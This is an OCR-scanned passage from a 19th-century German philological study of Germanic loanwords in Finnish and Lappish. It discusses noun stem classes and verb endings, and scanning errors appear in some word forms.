hier zu erklären ist. Man könnte sich denken , dass c bloss
för t oder d stände , wie es denn in einzelnen werten einem
finn. t (d) entspricht, z. b. buoccat, krank sein, = finn.
potea; 1. Sieece, oheim, = f. setä. Diess wird indessen
dadurch sehr unwahrscheinlich, dass sich sonst nie in ent-
lehnungen aus den nordischen sprachen ein solcher Übergang
nachweisen lässt. * Viel natürlicher ist es, in dem s -laut
das ursprüngliche nominatiyzeichen zu sehen , wie auch schon
Mher andere gethan haben. Dem anschein nach würde es
am nächsten liegen^ anzunehmen, dass z. b. sav cca geradezu
von einem altn. nominativ '^sauäs ausgehe. Eine solche
form würde indessen schwerlich zu der entwickelungs-
geschichte der nordischen sprachen stimmen, da das aus-
lautende -s bereits zu r geworden zu sein oder jedesfalls
sich demselben stark genähert zu haben scheint, ehe der
Stammauslaut fortfiel; ebensowenig stimmt dieselbe zu der
Sprachgestaltung, aufweiche die übrigen älteren entlehnun-
gen zurückweisen, indem diese sonst stets bewahrung des
87 stanmiauslautes voraussetzen; endlich würde der regelmässige
Übergang von "^satiäs nicht einmal savcca sein, sondern
*savda8, wie wir unten sehen werden. Es ist also eine
andere erklärungsweise zu suchen, und eine solche bietet
sich auch. Bedenkt man nämlich, dass alle lehnworte,
welche auf -ca endigen, zu den klassen altnordischer nomi-
nalstämme gehören, welche sonst im läpp, in der regel die
endung -as bekommen, ja dass diese, wie wir im folgenden
sehen werden, zum theil neben -ca vorkommt, so wird es
höchst wahrscheinlich, dass diess nur eine Veränderung der
vollständigeren endung - a s (einerlei welchen Ursprung diese
sonst hat) mit vorhergehendem dental, t, d, 3, ist; wegen
einer besondern attraction zwischen diesen und dem gleich
1) Hieran schliessen sich ferner noch einige andere , • die wir im
folgenden zu besprechen haben werden.
2) L. gicce, junge ziege, kann man nicht zum beweis anfuhren;
vgl. s. 94 note 1.
Stämme auf -i. 101
articnlierten s wird das schwache, tonlose a ausgestossen
und jene schmelzen zu c zusammen; gewöhnlich wird dann
ein neues a angefügt , das aber in mehreren dialekten fehlen
kann.^ Ich nehme also an, dass z. b. savcca durch con-
traction an die stelle der eigentlich zu erwartenden form
'^'saydas getreten ist, und dass diese wiederum auf eine
grundform * satidis zurückweist u. s. w. * Zur vergleichung
mit dem so vorausgesetzten Übergang lässt sich z. b. anfüh-
ren, dass dem f. kahdeksan, acht, 1. gavce für *gav-
tase, dem f. yhdeksän, neun, L ovce far *ovtase
entspricht. Eine ganz ähnliche zusammenziehung von -as
hat auch nach n stattgefunden ^ wenn sich neben dem
gewöhnlichen yä n as, boot, die nebenform yäncca, yänca
^riis Sprogpr. s. 89, 90, 91 yon Karlsö) oder yence
(ebenda s. 107 yon Vefsen) findet, und ebenso nach Lindahl
und Öhrling sw.-l. 'yints' neben *yadnas'; eigentlich
sollte yänas zu *yänsa werden, aber für s tritt c ein,
welches leichter nach n auszusprechen ist. * Diess wirft 88
wiederum licht auf das oben (s. 90 note 3) angeführte Jwrort
yuoncca, huhn^ hahn, das sich also zu einer der grund-
form *hönis' entsprechenden . form *yuonas ebenso ver-
hält, wie yäncca zu yänas. ^ Der umstand, dass das n
1) Merlrwürdig ist es, dass dieser Übergang nie bei 1. -es =
nrspr. -as eintritt. Ganz in Übereinstimmung hiermit stehen indessen
andere verwandte erscheinungen , z. b. dass e (= urspr. a) nie als
auslaut in der zweiten silbe fortgeworfen wird, wahrend diess oft bei
unnrsprünglichem a (für i, e, n, y) der faU ist.
2) Auf diese weise wird lafca, lakca vielleicht auch einer
älteren pluralform *flaut%8 entsprechen können, indem I verkürzt wer-
den muss.
3) In einzelnen iinn. mundarten kommt eine einigermassen ähn-
liche metathesis von h nach n\ 1 , r vor , wenn diesen ein kurzer vocal
vorhergeht, z. b. venhe, gew. vene*, weps. veneh, boot; murhe,
gew. mure-, 1. moras, sorge; valhe, gew. vale', lüge; unhotan
und unohdan, ich vergesse. Vgl. Renvall, Pinsk spraklära (Abo
1840) , s. 44 f.
4) Eigentlich ist diess wol ein collectivum und in der anderen
nominativform vuon ces soll die endung -es vielleicht nur bestimm-
ter den Singular ausdrücken; ausserhalb des nom. verschwindet der
unterschied, z. b. gen. vuonca.
102 Stamme auf -i und aof -n.
erhalten ist, zeigt zugleich, dass hier eine spätere zusam*
menziehung vor sich gegangen ist , da n s im falle ursprüng-
lichen zusammenstosses hätte assimiliert werden müssen (vgl.
das öfter angeführte ga;;e s. 75). Eine noch stärkere
zttsammenziehung hat endUch im läpp, guösse, gen. guöse,
gast, stattgefunden, das sicherlich in ähnlicher weise von
einer grundform ^gastis ausgeht (vgl. s. 61. 98) und für
^guösce stehen muss; die ungewöhnliche anfügung eines
e anstatt a hat wahrscheinlich die bestinmiung, dieses wort
von guossa, tanne, zu unterscheiden.
3» Stämme auf « u.
In den germanischen sprachen hat diese klasse am
längsten den stammauslaut behalten; man trifft ihn nicht
nur auf den ältesten runendenkmälern , wie i^PI^MI- otdpu-
(scheidebeschlag von Thorsbjerg), das wahrscheinlich eine
ungenaue Schreibung für wolpu- = altn. Ullr, got. vtdpüs
ist , sondern auch in den etwas jüngeren ^ und im gotischen.
Wie* in den aus dem litauischen aufgenommenen werten —
z. b. f., wot. turku, ehst. turg, gen. turu, markt,* ==
lit. türgus, acc. türgf{; f. olut, gen. oluen, wot. olut,
ehst. olut, olu, weps. olus, bier,^ = lit. alüs ' — findet
er sich im finnischen auch in den meisten Wörtern germani-
scher herkunft wieder, indem diese theils auf -u (vielleicht
auch -o), theils auf -us oder häufiger -ut endigen, indem t
an die stelle von s getreten ist, wie in einigen dialekten
nach e (s. 29 note 2) und wie im finn. olut neben weps. olus.
1) S. Wimmer, N.-ord. böjn. , s. 73 ff. Bugge in der Tidskr. f.
Phüol. VU, s. 350 ff.
2) Im f. jetzt öfter tori von sw. torg, wogegen Turku fast nur
als eigenname= Abo gebraucht wird. Zur altersbestimmung der ent-
lehnungen aus dem lit. und slaw. verdient es übrigens im vorbeigehen
bemerkt zu werden, dass lit. twrgus nicht ursprünglich, sondern wie-
derum aus dem slaw., speciell dem russ. TOprl) torg entlehnt ist.
3) Vgl. s. 68 note 2. L. vuol(a), pl. vuollagak (nach Leem)
scheint, der flexion nach zu urtheilen, wieder aus dem finn. aufge-
nommen und nicht aus dem altn. entlehnt zu sein; es muss jedoch da
eine Vermischung von s und g eingetreten sein , vgl. s. 99 note 2.
Stämme auf -u. 103
Hierher gehören im finn. a) hattu, hat, höUr; paanu,
Schindel, spann; vanttu, handschuh, vöUr; vaunu, wa- 89
gen;^ vielleicht pallo (auch palli), ball, hollr und paljo,
viel (s. 60 note 2). /?) ailut, gen. -uen, plage, got aglus,
övaxolog (s. 97 note 2);* airut, gen. -uen, -u(h)un,
böte, got. airus; vantus, vantut, gen. -nttu(h)un, «==
vanttu.
Dem finn. und urspr. -u entspricht 1. -o in balkko
(s. das wortverz.), bölkr; ballo, ball; bar kko, rinde,
hörkr; gatto, katze, Jcöttr; latto, glied (s. 73).^ Dem f.
-ut für -US entspricht 1. -as in ajras, böte (vgl. 1. suor-
mas = f. sormus, s. 38); in analoger weise darf man
ein urspr. -us auch wol in gjelas, kiel, Jcjölr^ urspfüngl.
*kdus, lädas, glied, got. Upus und valas (s. das wort-
verz.), got. valus^ wiederfinden, sowie auch mit der bei den
i- stammen besprochenen zusanmienziehung in fac(ca),
handschuh, und viercca, widder, vedr^ got. viprus (vgl.
Bydqvist II, s. 142); in diesem letzteren wort muss man
wahrscheinlich zugleich eine consonantenumstellung zur Ver-
meidung der im läpp, unsprechbaren lautgruppe dr oder dr
(s. 79) annehmen, oder es ist 3 ausgestossen und c wie in
väncca (s. 101) zu erklären. ^
1) Altn. vagn ist zwar ein a - stamm y aber altsw. vaghn zeigt ein-
zelne spuren der n-flexion; s. Rydqvist II, s. 148.
2) Gewöhnlich wird diess wort als eine diminuti>'form von ailas
(s. 86) betrachtet; aber eine solche nmste *ailahut lauten, wie lam-
pahut von lammas, schaf; venehyt von vene*, boot. Vgl. Ka-
levala 8 (1868) einl. s. VI.
3) In 1. hatta, hut, und birdna (Friis Sprogpr. s. 100) neben
birdne (das. s. 96), bär, könnte a = u sein, es ist aber doch richti-
ger nach s. 81 f. zu erklären als ein jüngerer zusatz.
4) Vermuthlich auch in sw.-l. arnes, adler, örn, urspr. *arnusy
wo ich annehme, dass -es^ wie so oft in diesem dialekt, unrichtig
für -as gebraucht ist. So haben Lind. u. Ohrl. auch z. b. suormes
neben suormas.
5) Gegen Dietrichs erklärung dieses Wortes (Hoefers Zeitschr. IH,
s. 40) als *das isl. for' (d. h. fcer; dän., sw. fär) 'mit der läpp, deri-
vation -ats' (sollte -ac heissen^ nom. gewöhnlich -as, s. Friis
Gramm. § 156, 4) spricht, wie man leicht einsieht, die form sowohl
der Stammsilbe , als der endung. — Bei Lindahl und ÖhrHng wird
104
90 n. Gonsonantische stamme.
4. Einsilbige consonimtisclie stamme.
Von den in diase klasse gehörenden nicht zahlreichen
Worten sind einige feminina und zwar zum theil in ziemlich
alter gestalt in die finnischen sprachen aufgenommen. Im
gotischen endigen diese Wörter im nom. auf - s , z. b. nahtSy
nacht, wo es bestritten werden kann, ob das -s dasselbe
ist, wie in lat. nox für '^noct-s oder gr. vv^ für wKT-g^
oder ob diese form nach der analogie der i- stamme gebil-
det ist; im altn. ist sie dagegen wie ^ bei den i- stammen
aus der ä-declination entlehnt. Diess letztere kann jedoch
noch nicht in der spräche der fall gewesen sein, welche
den älteren entlehnungen im finn. und läpp, zu gründe liegt,
wenngleich auch die hier vorkommeaden formen verschie-
dene erklärungen zulasse'n. Wenn so z. b. dem altn. rot,
pl. rostr, das 1. ruotas, wurzel, entspricht, so lässt sich
diess nur aus einer ursprünglichen nominativform auf -s
erklären; ob diese "^röts gelautet hat oder vielleicht aus der
i- oder, was jedesfalls weniger wahrscheinlich ist, der
u -klasse entlehnt gewesen ist, ist schwieriger zu entschei-
den; im ersten fall wäre das a in ruotas als ein einschub
zu betrachten, wie wenn die namen Niels und Lars — um
einige neuere beispiele zu geben — im läpp, nothwendig
zu Nil a s und Laras werden müssen (Friis Gramm, s. 21)
oder torsdag, donnerstag, zu duorasdak (vgl. s. 79). Zu
dieser declinationsart gehört wol auch 1. gajcca, geiss,
got. gaits (das aber vielleicht eher ein i- stamm ist), altn.
geit, pl. gdtr, mit derselben abweichung, die wir von den
i' und t*- stammen her kennen. Dass wir hier eine zusam-
menziehung haben, aber nicht in ruotas,^ ist ein Zufall,
Beben lattas, artus, membmm, auch die nebenform 4etse' aufge-
führt, welche dem oben* angeführten vence, vints vollständig parallel
^ ist und zugleith die gegebene erklärungsweise bestärkt. — Das ebenda
vorkommende *arts', adler, eine nebenform von arnes, muss für
*arns(a), *arnc(a) stehen. — Abweichend ist f. vanne', gen. van-
teen, fassreif, got. vandus.
1) Doch wird bei Lind. u. Ohrl. neben 'ruottes' auch die form
'ruotts' angeführt, die gewiss mit unrecht von Stockfleth mit ruoc
statt mit ruoc umschrieben ist.
Einsilbige consonantische stamme. 105
den ich eben so wenig erklären kann, als warum es urtas,
aber.savcea; ladas, aber fac(ca) heisst. — An die ein-
silbigen consonantischen stamme scUiessen sich wie bekannt
noch einige stamme auf einen langen vocal an. Von die-
sen kommt im läpp, eins vor, nämlich gussa, gen. gusa,
kuh, Ä^r, stamm M~; hier ist -s nominativzeichen und -a
das gewöhnliche anhängsei; der übrigens etwas räthselhafte
Umlaut im altn. fehlt noch.
Im finnischen kommen einige dieser werte mit der 91
endung -e' vor, die auf eine Vermischung mit den i-stäm- -
men hindeuten kann, die aber auch die natürlichste, ja
gewiss einzig mögliche form wäre, in der ein einfaches -s
wiedergegeben werden konnte. Solche werte sind ranne',
gen. ranteen, rand, handgelenk, rönd, pl. rendr und
randir; ruoke', gewöhnlich im pl. ruokkeet, hosen,
hrok, pl. broßkr;^ vielleicht auch f. turve', gen. turpeen,
torf , ags. turf, pl. tyrf, aber altn. torf neutr. ^ Wie nun
auch diese endungen zu erklären sind , so weisen doch sowol
die finnischen als die lappischen formen auf eine stufe zurück,
die älter ist als das altnordische, und die Übereinstimmung
zwischen beiden verdient um so mehr aufmerksamkeit , als
die entlehnten werte verschieden sind und also nicht von
einander beeinflusst sein können.
Von anderen endungen findet sich im läpp, a (= urspr.
i) in ajka, eiche, und dem unzweifelhaft jüngeren ridda,
gatter, grind. Einige andere der Wörter, die im altn. hier-
her gehören oder von denen wenigstens nebenformen nach
dieser klasse vorkommen, sind wie ä- stamme behandelt,
1) Ruoke* könnte auch von einer alten pluralform ^hrökis =
altn. hrmhr (vgl. Lyngby« in der Tidskr. f. Philol. VI , s. 38 f.) aus-
gehen, an welche dann wieder die finn. pluralendungen angehängt
sind; vgl. 1. juovlak s. 51 note 2.
2) Was ferner zweifei betreffs dieses wertes erregt, sind die
schwankenden formen der finn. schwestersprachen (s. das wortverz.)r.
Möglicherweise wäre auch f. kaide', weherkamm, eigentlich hierher
zu ziehen, vgl. s. 99 notel, vielleicht auch lanne', gen. lanteen,
lende , vgl. s. 95 , dessen sw. pluralform länder jetzt wie ursprünglich
einsilbige Wörter mit dem 'acutus' ausgesprochen wird , s. Rydqvist 11,
s. 60 , 155.
106 Stamme auf -nd, -r und auf -n.
ohne dass man jedoch immer an den jüngeren altn. Übergang
im nom. und acc. (vgl. s. 91) denken mäste, z. b. markka,
mark, geld (auch got. marka)\ nuotta, 1. nuötte, netz,
n6t\ panka, panku, spange; ranta, Strand; tanko,
1. staggo, Stange (auch ahd. stanga); 1. mielkke, milch,
wahrscheinlich nach s. 82 f.).
5, 6. Stämme auf -nd und -r
begegnen uns hier sehr selten. Von ersteren findet sich
, zwar im läpp, boa n da, bauer, hausherr, böndi, sw.-l.
(band a bei Lind. u. öhrl., puonda bei Tornaeus) auch als
92 adj. , reich , doch ist diess wort gewiss jünger und gehört
also eher zur nächsten klasse. * Ein r- stamm ist f. tytär,
tochter, aber nichts deutet speciell auf eine entlehnung aus
einer germanischen spräche hin (eher könnte es = lit. duMe,
stamm duUer - sein , wie sisar, sisar, Schwester , wol =
lit. sesü, st. seser- ist). F. vaari, muori, estn. war',
mör (von alten männern und weibern) sind moderne entleh-
nungen aus sw. far, mor.
7. Stämme auf -n.
Neben den a -stammen ist diess die am stärksten ver-
tretene Masse unter 'den lehnworten. Die masculina enden
im finn. fast immer auf -a, -ä, selten auf -o und -i, im
läpp, meist auf - e , auch auf - o , seltener auf - a. Die femi-
nina enden im finn. auf -o oder -u, -y, seltener auf -a, im
läpp, fast immer auf -o, nur selten auf -a oder -e.
Beispiele für masculina sind:
finn. a) auf -a: haikara, reiher, hegri-, haka, ein-
gehegtes feld, hagi; hekuma, wollust, hegomi; herra,
herr, herra; herttua, herzog, hertugi; kakra, kaura,
hafer, hafri; kelkka, kleiner schütten, Jcjdlki; maana-
als gen. in maanantai, montag, mdni; maha, bauch,
magi; puola, spuhle, spöli; pusa, beutel, posi; rauta,
eisen, rauäi; siima, seil, simi; silat pL, Pferdegeschirr,
1) Eigentlich dasselbe wort, aber mehr verstümmelt, ist vielleicht
1. boadnja (f^riis Sprogpr. s. 32) oder boadnje (das. s. 90),
ehemann.
stamme auf -n. 107
tiima, stände, timi; tuuma, zoU, pumi; vaiva, mühe,
(s. 57); vara, vorrath, behutsamkeit, väri; vartia, Wäch-
ter, got. vardja. — ß) auf -o: mato, wurm, got. mapa;
mako, magen. — y) auf-i: (k)reivi, graf; rakki, hund,
rakki; vanki, gefengener, sw. fange; tuomari, richter,
dömari u. dgl.
lapp. a) auf -e: avkke, vortheil, auki; daelle, ge-
frorener schnee, peli; ruövdde, eisen; s piile, Schwager,
svili; stadde, amboss, steäi; vajvve, mühe. — ß) auf
-o: männo, mond; moallo, brocken, moli; murkko,
nebel, myrkvi; staddo =» stadde; stoalppo, pfosten;
vaddo, gefahr, vandi. — y) auf -a: guödda, kissen,
koddi; haerra, herr; vuoksa, ochse.
Beispiele fiir feminina sind: 93
finn. a) auf -o: aalto, welle, alda; ahjo, esse;
kaakko, kuchen, kaka; kallio, klippe, hdla; kaltio,
quelle, kdda; kammio, kammer, skemma; kello, glocke,
skdla; kirkko, kirche; lato, scheune, hla^; lukko,
schloss, riegel, loka; paasto, fasten; saatto, heuhaufen,
sata; teljo, ruderbank, pilja; tunkio, mist, dyngja;
tuhto, ruderbank, popta; vahto, schäum, got hvapö;
varjo, schirm, schatten, verja; viikko, woche. — ß) auf
-u: ahku, aschenhaufen ; hamppu, hanf, sw. hampa;
housut, hosen, hosur; kaakku = kakko; kaapu, man-
tel, kdpa; kannu, kanne; katu, gasse; kirnu, butterfass,
kirna; kiulu, müchkübel, sw. skjula; koulu, schule, sw.
skdla; lamppu, lampe; lykky, glück, sw. lycka; mylly,
mühle; myssy, mutze, sw. wössa, älter myssa; pannu,
bratpfanne; piippu, pfeife; pyssy, büchse; pöksit, puk-
sut, hosen, sw. hyxor; reisu, reise; reppu, ranzen,
skreppa; riimu, halfter, grima; sunnu-, in sunnuntai,
Sonntag, sunna; tasku, tasche; tikku, stöckchen, Splitter,
sw. sticka; tiinu, kübel mit deckel, sw. tina. — y) auf -a:
huora, hure, höra; likka, mädchen, sw. ßicka; piika*,
mädchen, sw. piga; piina, pein; rotta, ratte, sw. rätta;
tupa, stube.
lapp. a) auf -o: a§§o, häufe glühender kohlen, nw.
esja; bärro, welle, bdra; biello, schelle, IjaUa; bruggo,
108 Stämme auf -n.
brücke; duofto, ruderbank; gaduo, kanne; gakko,
kuchen; galddo, quelle, bninnen; girkko, kirche; goallo ,
lampe , kola ; g u j g g o , junge kuh , Tcviga ; lado, scheune ;
likko, glück; millo, mühle; misso, molken, mysa%
rejso, reise; rujto, eiserner topf , gr^a\ ruoddo, rede,
r(Bäa\ spalfo, schwalbe; stoppe, stube; vakko, woche;
vidno, beschäftigung , arbeit, ^?iwna; vuolppo, rock, oTpa;
vserjo, Waffen. — ß) auf -a: biga, mädchen; buvsak
pl., hosen; fjervva, Strand, /;ara; fuorra,hure; sakka,
nachricht, saga\ sodna-baej vve, sonntag. — y) auf -e:
sivlle, mast, sigla.
Von neutris kommt schwerlich eins ausser hertta,
herz (vgl. s. 59), vor.
In allen diesen endungen erkennt^ man im ganzen deut-
lich die zu gründe liegenden formen, zum theil auch auf
verschiedenen entwickelungsstufen. Im gotischen enden
bekanntlich die masculina im nom. auf -a und die feminina
auf -ö, welche laute durch die ganze flexion (ausgenommen
dat. und gen. masc.) hindurch beibehalten werden; hiermit
stimmt auch die spräche unserer ältesten runeninschriften
überein, wo sich z. b. im nom. masc. MRM^ m(a)r(i)la
(Etelhem), im gen. <M^IS^5I<I prawingan (Tanum), im nom.
94 fem. 5i+n fi(n)no (Berga), HI^RR5t hariso (Himlmghöje) *
findet. Diese selben alten nominativendungen müssen nun
auch unzweifelhaft bei lehnwörtern der älteren gruppe vor-
ausgesetzt werden, zu denen z. b. von masculinis f. rauta,
vaiva, vartia, 1. ruövdde, vajvve u.m.a., von femini-
nis einige der lappischen und, wenn nicht alle, doch die
allermeisten finn. werte auf -o gehören; dass ursprüngliches
-ö zu -0 verkürzt wurde, ist eine nothwendige folge der
finnischen lautgesetze (vgl. s. 29. 33.) ^ Im gewöhnlichen
1) Betreffs dieser letzten zwei werte muss ich mich unbedingt an
Bngges auffassung derselben als stamme auf -an, -on anschliessend
= altn. Fwma, Hersa; s. Tidskr. f. Philol. VII, s. 245, 251.
2) Man könnte vielleicht bei werten, die auf dieser stufe aufge-
nommen sind, spuren der bewahrung des urspr. -n erwartet haben;
dass solche nicht vorkommen können, geht aus dem s. 85 note2 gesag-
ten hervor. Worte wie peruna, kartoffel, viikuna, feige, väskyna,
Stämme auf -n. 109
altnordischen wie* im altschwedischen endigt dagegen der
nom. sing, im masc. auf -i^ im fem. auf -a; aber da fast
alle anderen casusformen im sing. resp. auf -a und -u
enden, so ist es nicht zu verwundern, dass diese endungen
im finn. und lapp. ^ wenigstens bei den nicht ganz modernen
entlehnungen , ein vollständiges übergewicht über den nom.
erhalten haben. ^ Es ist in dieser hinsieht lehrreich , die
formen dieser werte in den nordischen gfenzdialekten zu
betrachten. In (dem östlichen) Nyland ist nach meinen
beobachtungen die regel die, dass zweisilbige werte, deren
erste silbe lang ist, oder werte von mehr als zwei silben
im masc. auf -' (das auch fehlen kann), bestimmt auf -^n
{-n) oder -a», pl. -ar enden, im fem. sowol auf -a als
auf -0 ganz ohne unterschied, bestimmt -on, pl. ^or^ nach 95
einer kurzen silbe endet dagegen das masc. auf *a, best.
-aw, pl. -ar, und das fem. auf -w, best, -ww, pl. -wr,
z. b. skipar^j schiflfer, mön% mond, best. möw«w (oder möw),
bönd% bauer, aber haga-n, das eingehegte feld, posa-n,
der beutel, skada-n^ der schade; Uno oder t%na^ kübel mit
deckel, best. Unon^ pl. t%nor^ ebenso reiso{a\ reise, stikho{a\
stöctchen, Splitter, tungo{a)^ zunge, gnmo{a), halfter, aber
kakuy -n, -r, laib, kuchen, ebeaso stuvu, stube, viku, woche,
ladu, Scheune. Ein ganz ähnliches verhältniss findet in den
ehst.- schwedischen und österbottnischen mundarten und, wie
es scheint, auch in den nordschwedischen ^ und einigen nor-
zwetsche, u. desgl. von sw. päron, fikon, sveskon, müssen sehr nen
sein, vgl. Rydqvist II, s. 212, 215 ff., 220 ff., auch oben s. 82.
1) Namentlich i&t die masculinendong -i selten. Durchgehends
findet sie sich jedoch im finn. in der ableitungsendung -ari (-uri),
wie leikari, gaukler; lääkäri, arzt, sw. läkare; maalari, maier;
suutari, schuster, aütari; tuomari, richter. Es ist daher möglich,
wenngleich nicht ganz sicher, dass diese endung von anfang an als
ja -stamm aufgenommen wurde, s. s. 94; vgl. Rydqvist ü, s. 205 f.
Das bei masculinis seltene -o ist wahrscheinlich eine modification von
ursprünglichem -a; vgl. s. 89 note 1. In femininis entspricht lapp. -a
gewiss meistens einem urspr. - a (vgl. s. 38) ; dass es jedoch auch aus
-u entstehen kann, zeigt 1. sodnabsejvve (f. sunnuntai), Sonn-
tag, sunmtdeigr, wo s o dna unmöglich vom altn. nominativ aus-
gehen kann. ,
2) Vgl. z. b. Widmark, Vesterbott landskapsmal, s. 15.
110 Stämme auf -n.
wegischen ^ dialekten statt, also ungefähr denselben, die
noch jetzt den alten unterschied zwischen kurzen und langen
vocalen bewahrt haben. Man sieht also , dass der nomina-
tiv mehr oder weniger durchgehends von den anderen casus
(zunächst dem acc), wie in den ins finnische und lappische
aufgenommenen worten, verdrängt worden ist, ja, obwol
man in letzteren durchaus keinen unterschied in der endung
in folge der verschiedenen quantität der Stammsilbe sieht,
ist es doch vielleicht denkbar, dass gerade die genannten
dialekte, welche eine sehr ausgedehnte anwendung von der
endung -a fürs masc. und -o oder -u fürs fem. selbst nach
dem Verlust der alten flexion machten, etwas zur wähl die-
ser endungen auch bei solchen entlehnungen beigetragen
haben können, welche sich aus einer ziemlich neuen zeit
herschreiben müssen.
Während so die jüngeren entlehnungen aus den nordi-
schen sprachen ebenso wie alle die älteren noch die ursprüng-
lichen volleren vocale in den endungen bewahrt haben, sind
die in die südlichsten dialekte , namentlich das ehstn. und liv.,
aus dem (nieder -) deutschen aufgenommenen werte leicht
daran kennbar, dass sie alle auf -i (liv. zum theil -o) =
d. -e endigen, z. b. ehst. ked', gen. kedi, liv. ked', sked',
sköd', pl. -d'od, kette; e. köT, gen. köli, 1. sküol, pl. -od,
schule; e. lamp, gen. lambi, lampe; e. müt's, 1. müt§,
mutze; e. pöT, gen. pöli (auf Dago pöl, gen. pöla nach
demsw.),l. spüoT, SpuoT, spule; e. püss (aber dorp.-e.
püss, gen. püsöü), büchse; reiz', gen. reizi (neben reiz,
gen. reizu nach dem sw.), 1. reiz, pl. reizöd, reise;
e. rot't', gen. roti, 1. rot', pl. rotld, ratte; e. sep, gen.
sebi, seife, u. v. a.
Ferner ist noch zu bemerken, dass sich von den auch
in den germanischen sprachen wenig zahlreichen stammen
auf 'in oder -jan nicht viele spuren finden. Doch kann
man vielleicht f. äiti, mutter, got. aipei, und kauni,
schmuck, got. skaunei^ hieher stellen.
1) Vgl. Aasen , Norsk Gramm. § 113. § 162 s. 137 f. § 169 s. 146.
Verbum. 111
B. Verba.
Als entlehnangen betrachtet, bieten die vefba bei wei-
tem nicht das interesse und die abwechselung, wie die
nomina. Zunächst sind die meisten verba, deren wurzel
germanisch ist , nicht als solche aufgenommen , sondern sind
selbsjbändige ableitungen von entlehnten nominibus; sie gehen
uns also eigentlich hier nichts an, sondern gehören in die
wortbildungslehre der einzelnen sprachen. Ferner sind selbst 96
bei den wirklich entlehnten verbis die endungen nicht so
wol erhalten oder so bestimmt ausgeprägt, wie die der
nomina, sondern richten sich mehr nach den eigenen for-
men der sprachen; und endlich ist der gröste theil derselben
jüngeren Ursprungs.
Im finn. ist eine der gewöhnlichsten endungen
1. pers. -itsen, inf. -ita, auch -in, -ia. Unter den
älteren entlehnungen kommt diese vorzugsweise bei urspr.
schwachen verbis auf -ja- (prät. got. -idä) vor; die Wur-
zelsilbe ist hier zugleich stets unumgelautet, selbst wenn
sie lang ist und also im altn. den umlaut durch die ganze
flexion hindurch behält. Ich zweifele nicht daran, dass die
wähl dieser endung keine zufällige ist, sondern ihren grund
in der ursprünglichen ableitungsendung hat, namentlich in
der gestalt, wie sie im prät. zum Vorschein konunt.^ Hier-
her gehören lukita oder lukkia, verschliessen, lyJcja;
valita, valia,^ wählen, velja; mainita, mainia, er-
wähnen, vgl. ahd. meinjan^ ags. mSmn-^ nautita, naut-
tia, gemessen, neyta-^ tuomita, urtheilen, doema. Aber
diese endung findet sich auch in einzelnen werten mit ande-
ren grundformen und besonders bei einigen selbständigen
ableitungen, meistens von subst. auf -i; z. b. hallita,
beherrschen, hcdda; keritä, scheeren, slcera; tarvita.
1) Vgl. f. miettiä (1. smiettät), erwägen, =^ tvls8. mIBthtb
metit'f bezeichnen, componiert mit c- s-, berechnen; f. maani a ,
locken, = russ. MaHHTb manu'.
2) Dass diess nicht eine ableitang von f. yali, öfter vaali,
wähl, ist, sieht man daraus, dass das weps. das verbum valita hat^
während ihm das genannte Substantiv fehlt.
112 Verbum.
bedürfen (wahrscheinlich abgeleitet von tarve^ bedürfniss),
kalkita, tünchen (von kalkki, kalk); leikitä, leikkiä,
spielen (von leikki, spiel); merkitä, bedeuten (von
merkki, zeichen); vangita, fangen (von vanki, gefan-
gener); satuloita, satteln (von satula, sattel). — Mit
vorangehendem a scheint diese endung endlich in ein paar
werten der gotischen conjugation in -ai- zu entsprechen,
nämlich armaita, . sich erbarmen, got. arman, prät.
armaida (doch könnte es vielleicht auch von armas, lieb,
abgeleitet sein), und ansaita (auch asnata), verdienen,
ahd. amSn.
Eine zweite sehr gewöhnliche endung ist
1. pers. -aan (urspr. und weps. -adan), inf. -ata.
Diese gehört besonders den verbis an, deren stamm im altn.
und sw. auf -a-^ ausgeht, kommt aber doch auch bei
97 anderen vor; z. b. maalata, mahlen; meinata, meinen;
niiata, sich verneigen, sw. niga; siunata, segnen; sor-
vata, drehen, sw. svarfva; tavata, buchstabieren, sw.
stafva; tienata, dienen, u. m. a. Diese sind indessen
offenbar alle jünger, und wo die Wurzelsilbe eine alte form
hat, scheinen die verba mit dieser endung immer von Sub-
stantiven auf -a abgeleitet zu sein; z. b., kaupata, feil-
bieten, von kauppa, handel; kiusata, plagen, versuchen,
von kiusa, ärgerniss; kullata (aber weps. kuldita),
vergolden, von kulta, gold; lainata, entlehnen, von
laina, entlehnung; luvata, erlauben, von lupa, erlaub-
niss; mitata, messen, von mitta, mass; vaivata, pla-
gen, von vaiva, mühe. Entsprechend der alten sprach-
gestaltung, für die wir bei den nominibus so manche bei-
spiele sahen, sollte man vielleicht auch bei unmittelbar
entlehnten verbis der altn. a-klasse eher erwarten
1. pers. -oon, inf. -ota, oder -on, -oa; diese endung
kommt vielleicht in vartoa oder varrota, erwarten, be-
wachen, varäa, vor. Uebrigens kann ich keine sicheren
beispiele anführen, die nicht als ableitungen von sul^st. auf
-0 betrachtet werden könnten, wie varjota, varjoa.
1) Vgl. f. tuumata, denken, = russ. AJMaTb dumcU'.
Yeibum. 113
beschützen, von varjo, schirm; varota, varoa^ sich
hüten (vgl. das wortverz.) u. s. w.
Im lappischen , wo im ganzen melur verba entlehnt sind,
als im finnischen, sind die gewohnlichsten endnngen:
1. pers. -im, inf. -it (sw. -1. -et), verwandt mit f.
-itsen, -ita*' und ähnlich angewendet. Von älteren ent-
lehnongen lassen sich so z. b. anmerken arbbit, erben,
erfa\ galddit, entmannen, gdda\ laddit, landen, lenda\
saddit, senden; valljit, wählen; gattit, bewachen,
gaeta'; loktit, heben, lypta'; dubmit (s. 61), richten;
uskit (s. 67), wünschen; lajddit, leiten; stivrrit,
steuern; sw.-l. au det, verwüsten, eyäa. Aber dieselbe
endung wird auch oft bei anderen und jüngeren werten
gebraucht, z. b. b rukit, gebrauchen; bovddit, bieten;
dokkit, taugen, duga-^ hejvvit, passen, geziemen, äö?/«; 98
raddit, herrschen, rdäa (oder von radde, rath?);
1. pers. -am, inf. -at, = f. -in, -ia, ist seltener,
z. b. vuoppat, schreien (s. 67);
1. pers. -aäam, inf. -aSet (Friis Gramm, s. 181) ist
sicherlich* nur eine nachahmung von f. -itsen, -ita, und
kommt übrigens meist iij verbis vor, die von subst. abge-
leitet sind, z. b. IsejkaSet, spielen; darbaäet, bedürfen;
maerka§et, bemerken; navdaäet, gemessen.
1. pers. -edam, inf. -edet, entspricht dem finn. -aan,
-ata, z. b. sivdnedet, schaffen, segnen. Fast alle verba
dieser form sind jedoch ableitungen von nominibus, z. b.
radedet, rathen, von radde; givsedet, plagen; lop-
pedet, erlauben; vajvedet, plagen; ebenso suddodet,
sündigen, von suddo, sünde.
